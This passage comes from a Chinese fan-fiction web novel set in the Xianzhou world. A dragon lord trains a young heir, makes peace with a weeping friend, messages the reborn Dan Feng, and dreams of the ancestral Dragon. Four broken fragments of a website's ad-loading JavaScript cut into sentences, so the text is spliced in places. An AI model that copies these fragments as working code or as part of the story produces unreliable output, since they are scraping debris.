明明只是简单的木剑,却在被云峥握在手中后像是刚出炉的新剑,等待着一展锋芒。
气氛变得愈发紧张,仿佛连空气都被凝固了。
玄全手中的木剑也在她的高度绷紧下发出了轻微的吱呀声,似乎暗示着她对接下来对抗的紧张。
‘会从哪里攻来?’
她的目光紧紧锁定在云峥的手上,试图从那轻握木剑的姿势中捕捉到攻击的蛛丝马迹,从而推测出下一步的动作。
然而,下一秒,一股不可思议的力道如同闪电般袭来,直击她的手腕,随之而来的疼痛感瞬间蔓延开来。
玄全甚至来不及反应,手中的木剑便如同被抛弃的玩具,脱手而出。
木剑在空中划出一道优美的弧线后,重重落在地上,发出清脆的声响。
“咕咚!”
玄全捂着手腕,望着掉落的木剑,心中升起了丝丝的挫败感。
果然还是差距太大吗?本来她还以为自己至少能看清对面的动作。
结果啥也没有。
“捡起来,继续。”
一击必中的龙尊仿佛没看出玄全的失落,神情颇为冷漠地开口。
深吸一口气,对视上龙尊不近人情、冰冷如星辰的眸子,玄全心中燃起一丝斗志。
都是龙尊,她不见得就一定比这家伙差!对面不就是欺负她年纪小而已!
她重新捡起木剑,抬头正视对手,眼神中闪烁着不屈的光芒:“再来!”
玄全的变化被云峥收入眼中,眼中赞许一闪而过,唇角勾起,又飞速拉下。
“调息。”他的声音似寒风,冷峻且不容置疑。
“嗯!”玄全重重点头。
待玄全气息调整完毕后,云峥再次动了。
这一次,他将本就压制的力量和速度再次下压,毕竟打击孩子只要一次就行,再多就不好了。
戒备的玄全在察觉到那股熟悉的威胁时,心中的紧张感如潮水般涌来。
虽未曾见剑影,她手中握着的木剑却在本能的驱使下,犹如狂风中的树枝,向前一挥,划破空气。
能挡下吗?
玄全不知道,但是她相信自己这次肯定能对上对方的剑。
果不其然,随着一声清脆的撞击,木剑相遇,她的耳畔也瞬间响起碎裂声。
清脆的声响宛如雷鸣回荡,手腕处传来又是熟悉的震感,随之而来的疼痛让她微微颤抖。
云峥手中的木剑完好无损,是她的碎了。
玄全有些无语:“……”
突然想打人了怎么办?
她气呼呼地瞪了一眼静若处子、纹丝不动的龙尊,心中暗自思忖解决办法的同时,招来侍从换了把新的木剑。
她知道对方这已经是收力中的收力,可是心生恼怒难以平息。
能不要这么打击她吗?
“继、续。”玄全咬牙切齿道,尽管手腕的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
疼痛仍在,但她绝不愿意在此刻退缩。
目光愈发坚定,心跳如同战鼓,随着她的战意而愈加激烈。
“区区一剑,今日我一定能接住!”她放下豪言壮志,声音铿锵有力。
她眼中似有一团燃烧的烈焰在跳动,映照着云峥那张宛若冰山般冷峻的脸庞,竟让他眉角微微上扬,掠过一丝不易察觉的浅笑。
“好。”
木剑在空气中划过半圈,最终落入云峥掌心。
他的动作如同天神下凡,流畅而自然,似乎没有一丝多余的力量。
同样是措手不及的一击,云峥未给玄全半分的反应时间。
玄全下意识地侧挡,却同第一次般没挡住对手的剑。
随着一声清脆的撞击,她又一次感受到木剑被击飞的无力感。
又失败了。
那一瞬间,整个世界都被按了暂停键,玄全脑海中只闪过这一个念头。
即便如此,玄全的小脸上却不见丝毫气馁的神色。她依旧选择坚持,手中紧握的木剑坚定地支撑着她的意志。
她深吸一口气,直视着云峥的眼睛,像是一只不屈不挠的小狮子,勇敢而无畏。
“再来!!”
木剑撞击的声音四起,木屑空中飞扬。
一次次挑战,再一次次失败。疼痛与挫败交织,但眼神依旧不肯放弃。
就这样地重复着,直到玄全的身体再也坚持不住,不顾龙尊形象地疲软地瘫坐在地。
只是那双倔强的眸子却始终盯着大气都没喘过一次的龙尊。
对方身上的衣服甚至连一丝一毫的凌乱也没有。
再看看自己,头发凌乱,衣服也凌乱,身上还伤痕累累,她……真的输得彻彻底底!
玄全小嘴一瘪,满心不甘。
“你究竟多强?”
玄全昂着小脸望着对方,一字一顿地问道。
“……”
云峥沉默地注视她好一会儿,看得玄全心里忐忑,开始怀疑自己是不是问错了,这才勾唇开口,“汝猜。”
“?谁要猜啊!”玄全龇牙咧嘴,手腕酸疼让她说话都带上不少情绪。
“嗯,比汝强。”
语气轻描淡写,却让玄全差点蹦起来。
玄全心里气得跳脚:“我当然知道你比现在的我强啊!你回答跟没回答一样啊!”
“好好回答我的问题啊!”
“嗯,好。”
眼见着玄全眼眶都红了,云峥怕把小孩气哭,收敛了挑逗心思,开始好好回复对方。
“吾比汝强,不论年龄。”
若是未得巡猎力量前,云峥对上完全成长起来的冱渊君,只能靠丰饶自我回复来消耗对方。
因为并非所有持明皆善武艺,云峥便是那不善之人中的其一。
而现在,拥有着不弱于令使程度的巡猎之力,云峥可以说全仙舟除了星神一对一没人能打过他。
甚至是两位巡猎令使联手,也大概率干不掉他,顶多让他重伤。
云峥没有将这些说出,怕太损孩子自信心了。
玄全面色一变再变,最后黑着脸,小声骂了一句:“…怪胎!”
云峥:“……”
骂吧骂吧,孩子心里不舒服让她骂两句消消气也好。
……
13.三友
“先休息,明日继续。”
目光扫过玄全身上的狼狈,眼底闪过一丝怜爱与疼惜,随后龙尊敛眸,沉声道。
“樊锦,带她去沐浴。”
“是,云峥大人。”
得龙尊命令的樊锦立刻带着人上前,抱起累得连一根手指都不想动的玄全,朝偏殿走去。
目送其离开,龙尊的目光随即转向门扉。
“进来吧。”
门外的细微动静躲不过云峥的感知,碍于正在与玄全对练,并未将其喊入。
所幸外面之人也怕影响玄全的训练,一直站在门外等候结束后的通唤。
“云峥大人,我带烁星来喽~”
溪榷半拉半拽地带着某人从门外进来,笑意满满 。
“…嗯。”云峥颔首。
视线从溪榷那拽着烁星的青筋暴起的手臂上慢慢移动到烁星脸上。
他、看上去,好像…有点不太情愿?
注意到云峥的视线到自己身上,烁星连忙收起对溪榷硬拉着自己进来的行为的不满神色,露出一个尴尬不失礼貌的笑容。
说实在,他到现在还没想好要怎么面对好友呢。
之前保证绝对不会再质疑好友的,结果好友又给他开了个天大的玩笑。
方壶持明龙尊是仙舟死敌丰饶令使,这是闹咋样啊…
云峥朝溪榷道:“汝回去,吾与他聊。”
溪榷点头应道:“是。”
溪榷退去,龙尊没再多说,甚至未曾多看烁星一眼,便转身朝着殿内走去。
烁星的心中五味杂陈,面对着龙尊如此威严又不带情感的背影,他的内心难免涌起一阵迟疑。
会不会被骂啊?他心中反复咕哝着。
不会吧?不会吧?不会吧?
他躲了云峥这么些天,对方不会真的生气了吧?
心有点慌,但是稳住!趁早溜走算了!
烁星在心里安慰自己,自觉地将龙尊刚才的话对溪榷的话曲解成对自己说的,转身就想一溜烟地跑。
“…烁星。”
然而,他刚迈出几步,身后那低沉又暗含怒意的声音便如同一道闪电划过自身后响起,刹那间将烁星的心提到了嗓子眼。
完辣!
他在心里直呼。
云峥整个人都快迈进殿门,转身却发现某人根本没跟上。
跑什么?难不成他还能吃人吗?
龙尊面无表情地心想着。
明白自己偷跑不了的烁星讪笑,连忙小跑到对方面前,低头就是认错。
“云峥,我错了TAT!”
有些手痒的龙尊到底碍于形象不能失态,才没有当众给这糟心好友邦邦来上两拳。
他微微颔首,语气虽然冷淡,却隐约透出一丝不容拒绝的威严:
“进来,不要让吾说第二遍。”
烁星垂头丧气地跟随在龙尊的身后,进了殿中,一路走到书房。
龙尊在案前站着,没有坐下,反而是扭头对着烁星道:“坐吧。”
知道自己惹了对方不快,烁星听话地坐下,就是感觉如坐针毡。
手指在桌案上无意识地敲击着,沉闷的声响令气氛渐渐压抑。
良久
背对着烁星的龙尊才开口。
“那份文书,拿回去。”
桌案上,公文堆叠得整齐而有序,唯有一份文书被摊开,孤零零地躺在那里,显得格外显眼。
烁星走上前去,抬手将文书拿起,目光触及上面的内容,发现正是自己上书给龙师溪榷的那份。
“不要。”
大红色的“否决”二字批注让烁星当做没看见,直接拒绝,将文书合起重新放回。
“那就放着吧,吾不会批准。”
龙尊的语气依然平静,不起波澜。他转身面向烁星,神色淡然如初,仿佛一切都未曾改变。
“凭什么不予通过?!”额头青筋凸起,烁星磨牙。
“就算不让我当你的护卫也好歹给我一个合适的理由吧?”
现在可不是什么闹别扭的时机,再别扭下去照好友的性格,怕是以后都没有机会再见面了。
“汝要理由?”
龙尊的目光如同锋利的刀锋,穿透了烁星的心防,令他不由自主地屏住了呼吸。
“青卫缺位领军之人,汝最为合适。”
烁星想要理由,云峥便给他一个。
烁星望着好友冷酷的眉眼,苦笑道:“就算没有青卫,是不是还有其他的军队?”
云峥:“是。”
烁星深吸一口气:“…我不想听这些。就跟上次你告诉我真相一样实话实话,可以吗?”
“和之前一样。”他期望地看着好友。
“……”
然而,龙尊的沉默如同一道无形的墙,隔绝了两人之间的交流。
他缓缓扭过头去,不再与烁星对视,动作间已然表明了态度。
他不想。
“云峥…我…”
烁星嘴里泛起一阵苦涩,像是冬天冰冷的湖水瞬间浸透了他的全身,冷得令人窒息。
心底深处渗透上来的刺骨的寒意将他包围,无法逃避。
再一,再二,却无再三。
霎那间,烁星好像明白了,有些东西其实早已改变,而他再也无法弥补。
“我明白了…”他低声喃喃,仿佛失了全部的力气。
身体微微颤抖,烁星努力将那份文书拿起,手指却因紧张而发抖,几次尝试都以失败告终。
“…对不起,云、龙尊大人。”
双手将文书抱在怀里,烁星低着头,不敢去看龙尊的眼睛,眼角隐隐泛着湿润,不愿将此刻的软弱展示在龙尊面前。
他强忍着酸意,喉咙哽咽着,努力压制着眼泪流下。
“是属下越越界了,不该质疑您的决定。”
烁星努力维持着语气的平静,却还是没能掩住那丝丝哽咽。
龙尊静静地注视着好友痛苦的模样,脸上的冷漠掩盖不了内心的波动。
终究还是见不得好友如此难受,他终是伸出手掌,轻轻按在了烁星微颤的肩膀上。
龙尊半阖着眼,无奈叹息。
“吾只是希望,汝能更好些。”
“远离吾,是正确的。”
他低声说着,带着些许疲惫,“吾身边,并非佳处。”
“烁星,吾友,汝值得更好的未来。”
“抱歉…让汝多想了。”
没怎么哄过人的龙尊只能寻着记忆里偶然记录的画面轻声细语地安慰。
没能得到好友的回复,沉默片刻,龙尊起身离去,将空间留给了情绪短暂失控的好友。
书房里没了龙尊的影子,烁星埋着头,任凭泪水顺流而下,从脸颊滴落,消融于衣衫的面料上,只余泪痕。
“云峥,峥…”
他小声地呢喃着好友的名字。
他是真的不知道该怎么做了。
此刻,在战场上勇往直前的骁将在面对好友之事上却脆弱得如同孩童。
……
出了书房的龙尊唤来侍从,吩咐其去做些甜食。
他扭头回望关闭的书房门扉,又忍不住叹息。
他也不知道该拿这位好友怎么办了。
本想安排其去担任将领之位,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
却不曾想会得对方拒绝,由此而产生如此激烈的情绪波动。
他都未生对方这些天不理自己的气,怎么对方先委屈上了。
龙尊心想着,面上也多了几分烦躁与郁闷。
“…算了,以后他想知道就都告诉他吧。”
思来想去,心软的龙尊又为书房中的某人后退一步。
就在此时,侍从端着精致的糕点,轻轻走上前,向踱步思考的龙尊恭敬地问道:“云峥大人,这些可要送进去?”
“给吾吧。”
云峥伸手接过。
侍从恭敬地上前为龙尊拉开门,方便其进出。
推门声点醒了房中之人。
烁星仓促慌张地擦去脸上的眼泪,连忙站起背过身去,生怕被来人察觉到变化。
示意侍从将门重新关上,云峥走到桌案前,将手中点心放在上面。
“吃点甜点心吧。”
不知甜点心会不会让好友好受些。
“嗯,好。”
烁星勉强地朝着云峥露出笑容,但双眼还是微微红肿着,隐约可见方才的痕迹。
注意到细节,云峥顿了顿道:“不必这样勉强自己。”
烁星抬头对上云峥那双平静却满是洞悉的眸子,神色讪讪地低下头。
“我没事,就是想多了,一时半会没缓过来而已。”
云峥没有说话,就看着他。
烁星拿着糕点准备往嘴里塞,假装看不见,但是下一秒认命地低头。
好友太敏锐了,自己这点小动作根本藏不住。
手在空中微微颤抖,糕点在他指尖滑落,轻轻磕响在桌案上,发出一声清脆的回响。他低下头,目光跌落在那片散落的糖霜上,心中满是苦涩与不安。
“对不起,我只是觉得自己或许不是一个很好的友人。”他嗫嚅着,声音几乎被压抑得无法传出,只在空气中轻轻回荡。
一次两次地质疑你,怀疑你。
质疑你的身份,怀疑你的企图。
云峥:“这很正常。人都会怀疑自己,包括吾。”
“可是…”我质疑、怀疑的人是你啊。
烁星抬头,眼中闪烁着复杂的情感,怔愣地看着云峥。
“没有生气。”
云峥将糕点递给烁星,淡淡说道。
“吾曾言,汝所为吾皆会接受。”
无论你会怎么做,哪怕所做的事会让我万劫不复,我都会接受。
“告诉汝之后果亦在吾预想之中。”
“吾虽不解人心,但吾信汝。”
这是作为挚友的诺言。
是你、我和明曜三人当初的月下誓言。
“呜——”
心里的堤坝瞬间溃防,眼眶再次发酸,烁星忍不住地抱住好友。
“你怎么,怎么能这么……”
这么温柔,这么不在意。
话语掩埋在泣音中。
从冱渊君诞生那日至今压抑的情绪再无丝毫屏障,全都倾泻而出,化作无声而痛苦的抽噎。
“明曜没了,我不想再失去你了,云峥。”
当初月下对饮的三人,其一明曜早已蜕生,仅剩烁星与云峥。
可世界像是跟他开了个巨大的玩笑,仅剩的好友却是为仙舟所不容的丰饶令使。
烁星无法遏制地去想如果好友身份暴露,仙舟会如何做。
那些丰饶孽物的惨状无一例外在他脑海中回荡,而将那些惨无人道的折磨放在好友身上。
烁星只觉得心口发疼,喘不过气来。
“…不会有事的,嗯,不会。”
“吾保证。”
……
14.讯息
云峥的承诺让烁星稍稍冷静下来。
“就准许我陪你身边吧,直到你离开方壶。”他用力抱紧对方,沙哑着嗓音说道。
云峥叹息:“…好。”
不想当便不当吧,再哭上一场他可能就真的没有底线了。
趁机得到了想要的结果,在云峥所不及的地方,狡猾的狐狸露出满意的笑容。
烁星不是傻瓜,反正都跟好友示弱了,那还不如直接利用好友的心软达成调任的目的。
就算被好友知道了,大抵应该也不会责怪他的。
他只是想多陪在好友身边,他又有什么错呢?
被紧抱着,身上难免会出汗,让云峥有些不适。
龙尊用手轻轻地推了推好友的肩膀,“先松开吧。”
有点热。
“好吧。”
烁星不情不愿地松开手。
脱离热源,云峥三步并两步坐回到自己的椅子上。
既然应许了烁星的请求,便需要重新写一份公文。
研墨落笔,干净的纸张上便留下苍劲有力的墨字
云峥垂眸专注于公文书写,墨香在空气中缓缓散开。
屋内一片静谧,只有笔尖划过纸张的沙沙声,偶尔响起些许咀嚼的细碎声。
烁星坐在一旁,手中捻着点心,目光紧紧地追随着云峥的每一个动作,时不时咬上一口点心。
当云峥停下笔,微微扬起的手腕在空中停顿了一瞬。他轻轻放下笔,轻轻吹干墨迹,再抬眼望向烁星。
“好了。”
烁星急忙凑上前,看着公文上的内容,嘴角忍不住上扬。
“我就知道云峥最好了。”话语中满是兴奋。
云峥微微一叹,“既已答应汝,自会尽力。”
“下次莫这般任性。”
虽如此说,但话语间不见责怪之意。
被轻拿轻放的烁星则是一幅无辜模样地嘿嘿一笑,朝云峥眨眨眼,“我这不是珍惜和你在一起的时光嘛,毕竟那天你说往后要离开的。”
“…等你离开了,你我怕是再也没机会相见了。”
似乎是预想到未来的离别之景,他的眸光又骤然灰暗不少。
“不过说好的,我不会干扰你的决定。你想离开我也不会阻止你。”烁星恢复笑容,目光坚定地看着云峥。
“…汝开心便好。”
为烁星破格次数多了,云峥也不想再计较太多了。
毕竟某人说得好听不干扰,那他今日的决定不照样反对了。
“拿着回去吧。”
云峥将盖好章印的文书递给烁星。
他不准备再在这种小事上和对方纠缠。
“好~”
接过文书,烁星随手将其折叠放入口袋,然后将桌上整盘点心端起,笑眯眯说道,“你工作吧,我就不过多打扰。不过这点心挺好吃的,我可端走了哦。”
云峥摆摆手,本就命侍从为烁星准备的点心,他拿走又何妨。
“明天见~”
好心情的烁星抱着好吃的点心,像一只快乐的小狐狸一般,飞快地溜出书房,为云峥留下了宁静的空间工作。
望着好友高兴的背影,云峥勾勾唇,低头继续批改文书。
专心致志地工作,非常充实。
但也止于突然响声的玉兆。
手中的笔落下最后一笔,云峥这才有心去查看究竟是何人发来了讯息。
【丹枫:你好。】
看清昵称的龙尊愣了愣,思索片刻便忆起对方就是罗浮仙舟这代饮月君。
是好友的转世。
【峥:……】
面对这位好友转世,云峥有些不知所措。
键盘上敲敲打打,删删减减,只能以此表达沉默。
【丹枫:……】
只是尝试着发去信息,没想过对方真的会回复的丹枫望着聊天页面卡了壳。
龙师们不是说这位方壶龙尊勤勉尽责,从不会将时间浪费在无用之处吗?
怎么这么快就回他的?连一分钟都没有吧?
【丹枫:龙师们让我向你学习。所以,你究竟为什么能让他们如此称赞?】
脑海中龙师们对其不绝的夸奖声,再加上传承记忆中时而浮现的画面,让丹枫对这位方壶龙尊不满的同时又多了几分好奇。
【峥:……?】
丹枫发来的信息让云峥不由得蹙眉,罗浮的龙师又拿自己与饮月君比较?
还真是没完没了了?
饮月君同冱渊君一样这才诞生几日?便已迫不及待地想要以此催其成长,将其拿捏在掌心。
【峥:不必管他们,做自己即可。】
当初明曜在时,那群龙师的嘴脸就已经见过了,现如今对待新任饮月君又来?
云峥心里不免对罗浮龙师又生了些厌恶。
【丹枫:我本来就没将他们放在眼里。】
【丹枫:只是好奇你究竟是什么样的人。】
不想被这位上任饮月君的好友误以为自己受控于龙师,丹枫接连发去数道消息。
【丹枫:若是有空便来罗浮一趟吧,明曜龙尊为你留了些东西。】
云峥刚想回复几句,提醒这位新任龙尊小心些,却见他发来了这句。
打字的手一顿,眼底多了几分茫然。
明曜…为他留了东西…?
手指微微颤抖,云峥本想打下道谢的话语,却下意识地向其询问是何物。
【峥:他为吾留了何物?】
点上发送,云峥才想起言语有失礼数,连忙撤回。
【峥:抱歉,待过些日子,吾会去取。】
虽然云峥撤得很快,却依旧被丹枫看到了。
想到那个巨大的被封存得严严实实的红木箱子,丹枫环顾周围确认没有别人,放轻动作从床上跳下,迈着小腿往房间角落跑。
他记得侍女当时是将东西摆放在那了。
他找找。
丹枫的记忆力还是不错的,很快就找到了被一堆盒子叠压在最下方的红木箱子。
丹枫拿着玉兆对准箱子拍照,发送给了云峥。
【丹枫:照片.jpg】
【丹枫:这箱子里的,都是他留给你的,我没开过。】
怕云峥误解,丹枫还特意解释自己没动过。
不过心里还是有些忐忑,不知道对方愿不愿意相信自己。
毕竟自己并非上任龙尊。
【峥:嗯…吾明白了。】
【峥:最迟次月初,吾会前往罗浮拜访饮月君。届时,这箱子再交予吾吧。】
见那照片中的实物,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
云峥也未曾想会是这样一个大箱子。
【丹枫:行】
和云峥聊天的同时,丹枫的脑海中有关对方的记忆也愈发清晰。
“云峥、烁星、约定…”丹枫低声呢喃道。
霎那间眼神变得恍惚,一幅月下对饮的影像忽而浮现在眼前。
[明月高悬,清辉洒落。
银色的月光如轻纱般笼罩着他们,夜风轻拂,带着丝丝凉意。
小小园桌上,美酒飘香,杯盏交错。
‘等你下次来罗浮,本尊必然再宴请你一番。’【他】举杯,与对坐之人相碰。
坐在【他】右侧方的持明青年似乎对【他】的话有所意见,撇撇嘴:‘下次来,也是我陪云峥来。怎么你只请云峥,不请我?’
【他】敛下笑意,冷哼一声:‘烁星你就一跟屁虫,难道本尊不喊你你不跟着来?’
被嘲讽的持明青年笑脸顿时没了,扭头就对着一直看戏的另一人哭诉。
‘云峥,你瞧瞧,这家伙都没拿正眼看过我。’
‘…嗯,吾看见了。’被喊做【云峥】的持明端着酒杯轻抿一口。
他似乎对两人的互怼习以为常,一直保持中立立场,谁也不帮。
‘云峥好狠心,一点也不帮我。’持明青年瘪瘪嘴。
【他】则是颇为嚣张地露出笑容,‘哈,云峥向来都是站在本尊这边的,就你?’
‘瞧,你那炫耀的臭屁样子。’
‘啧,本尊炫耀又怎么了,反正你又没机会争得过本尊啊。’
‘嘁,你又没我陪云峥陪得久,我争什么?’
‘那下次,本尊就把你扣留在罗浮,别回方壶了。’
‘喂喂喂,过分了吧!’
岁月静好,唯有情谊真挚,于此刻流淌。
‘下次有空一定要来罗浮啊,本尊等你们两个。’
‘好。’/‘没问题。’
‘一言为定。’/‘一言为定。’/‘一言为定。’]
手抵在胸口处,此刻那里因记忆而多了股莫名的情绪,似是难过,又似是悔恨。
丹枫闭上眼,面上闪过坚决:“可我,不是你。”
【丹枫:明曜龙尊与你的约定,我很抱歉。】
上一任龙尊的事情,与他何干。
那是龙尊明曜的挚友,而不是他丹枫的。
【峥:……?】
丹枫突然提及自己曾与明曜的约定令云峥一愣,下一秒无奈叹息。
他似乎明白丹枫的想法了。
【峥:吾知汝非他。】
【峥:汝不必在意那些记忆,汝此世只是丹枫。】
看着这两句回复,丹枫沉默片刻,随即便释怀一笑。
这一瞬,他忽然觉得心中来自上任龙尊的阴霾一扫而空。
【丹枫:若你来罗浮,我亦会邀请你。】
【丹枫:谢谢。】
发完这两句,丹枫似乎听到了来自屋外由远及近的脚步声,当即收起玉兆,重新返回床上,盘腿闭眼冥修。
有机会再和那位方壶龙尊交流吧。
他得承认上任龙尊的眼光,对方是位不错的人。
最起码不会将他与上任认错,亦或是觉得他比不上那人。
“我等你来罗浮。”
……
15.再梦
【对方已下线】
还未回复便看到对方的头像已然灰下,云峥沉默两秒,选择了拒绝对方的好意。
【峥:不必,多谢。】
正如对方所说,他是丹枫,而非明曜。那份未完成的约定自然也不需要对方来完成。
他分得清。
云峥合上玉兆,看着还剩余些许的公文,突然感觉到有些疲累。
“……”
靠在椅背上,仰头望着天花板,寂静的房间中心跳声格外清晰。
“咚咚——”
手掌抵在心口上,感受着那愈发强烈的跳动,慢慢阖上眼。
其实,蜕生也算好事。
至少…不会再为这些冗杂、沉重的情感所困吧。
竟然、失约了啊…
果然他不是位好龙尊,亦不是位好朋友。
万千思绪如潮皆掩于心底,睁眼时往昔淡漠再覆于面上。
如今的他,仅是方壶的龙尊罢了。
目光扫过那余剩公文,云峥头一次搁置了工作,不愿继续。
将所有东西整理妥当,云峥起身离开了这里。
今日,便早些歇息吧。
…
“沐浴。”
听到吩咐时,侍从们有些惊讶龙尊今日歇息时间如此之早,他们不明原因,只当是白日时龙尊与小龙尊对练多劳心神。
云峥躺在床上,思绪却不受控制地飘远,那些曾经的画面不断在脑海中浮现。
过往仿若昨日,迄今,已是物是人非。
不知过了多久,云峥渐渐进入梦乡。
夜色如水,静谧地笼罩着这方宫殿。
/
“吾的子嗣……”
悠长古老而雄厚的龙吟声再次响彻于梦海之中。
【龙】,再一次地降临了。
与上次的梦境不同,这次是过往持明的居住之地——汤海。
祂盘踞在一座山上,龙首探出垂下,双目俯瞰着站在地上的云峥。
“吾的子嗣,告诉吾,汝之名。”
这一次的祂似乎比之上次意识更为清醒,甚至开始询问云峥的真名。
“【云峥】,父亲。”
云峥抬头仰望着祂,轻声回道。
那双幽深的龙眸让他不由得忆起诞生时朝见的那一刻。
同样的场景,年幼弱小的他被采珠人抱着,威严的龙居于高位俯视着他。
祂为他赐了名,却也于那时昭告了他的的时日不多。
他心脉有损,能从卵中诞生便已是极大的幸运。
“吾记得。”
祂的眸光亮起,“汝本该死去。”
“为何汝还活着?”
祂直白的话语让云峥为之愣然,但很快又释然。
毕竟,眼前这位是天渊万龙之祖,所有持明族的“父亲”。
“慈悲的长生主,丰饶的神明救了我。”
云峥的手扣在心口处,那里曾经于某时停滞,又因星神之伟力而再次跳动。
“丰饶……”
龙尾摆动着砸在山体之上。
“同那只卑劣的虫豸一样,祂拿走了吾命途的一部分。”
龙的话语中含着些许愤怒,却又蕴含着某种不知名的情绪。
丰饶的命途的确有一部分与不朽的概念重合,可是听龙将丰饶同繁育相提并论,云峥眼底泛起波澜。
“祂与繁育,不一样。”
语气平淡,却不失坚决。
“仅是概念重合,祂没有拿。”
明是不朽的子嗣却在此刻面对着持明的造物主如此大胆地反驳对方。
“那又如何?与吾的理念有几处重合,便妄图替代吾的地位。”
祂庞大的龙躯化作类人体,健壮的体型比云峥大了许多。
看着朝自己步近的祂,哪怕灵魂已经在那迫人的威压下颤抖,云峥也未曾后退半步。
“祂,不一样。”
他望着祂抬手,扣着他的脖颈,将他高举至空中。
“丰饶与繁育皆不应存在。”祂陈述道。
哪怕脖颈上的力气已经大到足以碾碎云峥脆弱的灵魂,他也未曾出声附和对方的话语。
他只是陈述事实罢了。
还有……
死亡其实也可以。
活了太久的持明内心对于死亡有着些许隐隐的期待之感。
若是真的能被龙杀死,是不是就可以永眠了?
更何况他死了,方壶的各种隐患也将会一一消去。
只可惜,龙没有再加大力气。
“汝是吾之子嗣,为何要忤逆吾?”祂歪头,神色带着不解。
仅仅是挽救了他的性命,便不再承认不朽,只认丰饶吗?
“祂,不一样。”
与龙四目相对,云峥再次重复。
“哪怕祂的存在,阻碍了吾?”祂接着问。
云峥依旧是那个回答。
祂笑了。
松手任由着云峥跌落在地,祂叹息,“吾的子嗣,汝为何如此执拗?”
云峥摇摇头,“我不知道。”
他执拗吗?不知道。
“或许,父亲您说的是对的吧。”
祂朝云峥伸出手,“起来吧。”
“吾的子嗣,云峥。”
龙算是承认了这个对丰饶执拗得令祂感到有些难搞的子嗣了。
“父亲您……”
望着那只伸来的宽大的手掌,云峥神色变得茫然。
刚刚,不是还想要杀掉他的样子吗?
云峥此刻的表情似乎取悦到了祂。
龙变了回去,龙爪同上次般将小小的子嗣抓起,小心地放在自己的头顶。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“刚才是假的,汝是吾的子嗣,吾不会伤汝。”
带着云峥再次冲上云霄,在呼啸的风声中,祂为子嗣解惑。
“若汝不想,吾便不会在意丰饶。但为了持明,汝需要拿回繁育。”
“吾并非不完整的龙。”
祂道出了真相。
与丰饶重合的那部分概念即便缺失其实对不朽来说也无足轻重,只有繁育不可或缺。
轮回虽不止,却非永恒不变。
繁育代表着新生,繁衍不息亦是轮回。
“……”
云峥保持沉默。
缄口不言便是他能想出最好的面对龙的办法了。
他总觉得他要是继续说话,说不定真的会激得龙发狂。
“汝不必担心,仅是繁育罢了。吾不让汝去对付丰饶。”
龙似乎对于云峥夺回繁育命途这件事信心满满。
云峥不知道祂哪来的信心,觉得自己会将繁育的命途重新融入不朽。
祂又添了几句:“吾之残魂藏于龙心,汝所见只是一块罢了。”
“汝需要将龙魂全部收集。”
云峥:“……”
原来,我还要当收藏家吗?将父亲您的残魂全部收拢一起?
想想就不太想干啊。
“…不要。”他选择拒绝。
“风声略微大了些,吾听不见。”祂亦有应对的法子。
没有想过祂也有这种没脸没皮的样子,云峥忍不住睁大眼睛。
“!”
哪怕没看到云峥的表情,龙也能想象得出,眸底笑意加深。
祂记得祂当初刚见到那只虚弱到仿若下一秒就将死去的幼崽时的场景。
那么小小一只,呼吸微弱,若非祂以力量维持住幼崽的生命力,恐怕也见不到对方如今的样子了。
持明是龙所创造出来的种族,也是祂最喜爱的子嗣。祂将所能给予的皆灌注于这个种族上。
按理说,持明的幼崽有祂的力量与祝福不该如此虚弱,可偏偏就出现了云峥这么一个特例。
所谓的“心脉受损”只不过是龙随口一说罢了。
祂寻不出小幼崽的虚弱原因,便以此为借口糊弄了其他的子嗣。
祂为幼崽取名【云峥】,因为他不平凡、独特,也希望往后他能摆脱这无故虚弱的病痛,无拘无束,自由地享受自己的生活。
至于刚才云峥说的他活下来是因为丰饶,抱歉龙祂不信。
那根植灵魂深处的虚弱,连祂都无法祛除,凭一个在祂陨落之后诞生的星神就能祛除?
祂没有看不起丰饶的意思,只是不相信丰饶。
龙眯起眼睛,既然崽崽觉得是丰饶赐福的原因,那就是吧。
龙有预感,等祂发掘出云峥不再虚弱的原因,届时祂就能真正复活。
……
16.龙师
“听闻改变称呼可以拉近感情,不若吾换个称呼?汝觉得可行?”
龙突然出声而言道。
“?”
云峥不解,但对方是父亲,那就——
“云峥听父亲的。”
龙:“那吾唤汝,小云儿如何?”
在龙所不见的视角,云峥表情呆滞了一瞬,随即心情复杂地点头应下:“……好。”
只要父亲您开心就好,他的意见其实不重要。
“小云儿,汝该醒了。”
云峥的乖巧听话很好地愉悦了祂。
不过,虽在梦境,祂已经能感知到外界的情况,避免上次的局面,祂开始催促云峥离开。
崽崽能时不时抽时间陪祂在梦里聊聊天已经很不错了,可不能耽搁他的正常生活。
云峥:“…嗯。”
这算不算撵他走?难道这不是他的梦境世界吗?
将云峥送出梦境,龙甩了甩尾巴,随心所欲地在这片世界又造些建筑,自己舒服地盘踞在上面。
现在就等崽崽去搜集齐祂的碎片了,到那时祂也能够短暂凭借崽崽的力量显化,然后给崽崽撑场面。
毕竟之前居于云峥体内,虽是沉睡残缺,但也对宿体的情绪变化感知灵敏。
所以——
“等吾复生,区区巡猎,还容不得祂对吾之子嗣动手。”
眸底闪过些许晦暗,龙眯起眼睛,丰饶与巡猎的事关祂的子嗣什么事?
若真就因这所谓丰饶令使的身份要对祂的子嗣动手,可就别怪祂复生后与他们清算一番了。
龙冷哼出声。
祂捧在掌心辛苦养育至此的崽崽,如今好不容易摆脱了病痛,健健康康、快快乐乐地生活,祂都如此宝贝,哪容得下别人欺负。
巡猎和祂的随从敢把念头打崽崽头上,祂就敢回头把那几艘破船除了方壶全砸得稀巴烂。
也就一尾巴的事。
祂家崽崽小小一只,那么乖,那么听话,欺负祂不在是吧。
龙已经在构想将巡猎追随者们一网打尽的一百种办法,并且在脑海中勾勒出它的宏伟蓝图。
而再次被踢出梦境的云峥一睁眼,就见到了熟悉的场景。
同样又是四五位龙师们扎堆围在他床边,见他苏醒先是惊喜然后就是争先恐后地伸头上前询问情况。
“龙尊大人您这是又见到龙祖了吗?”
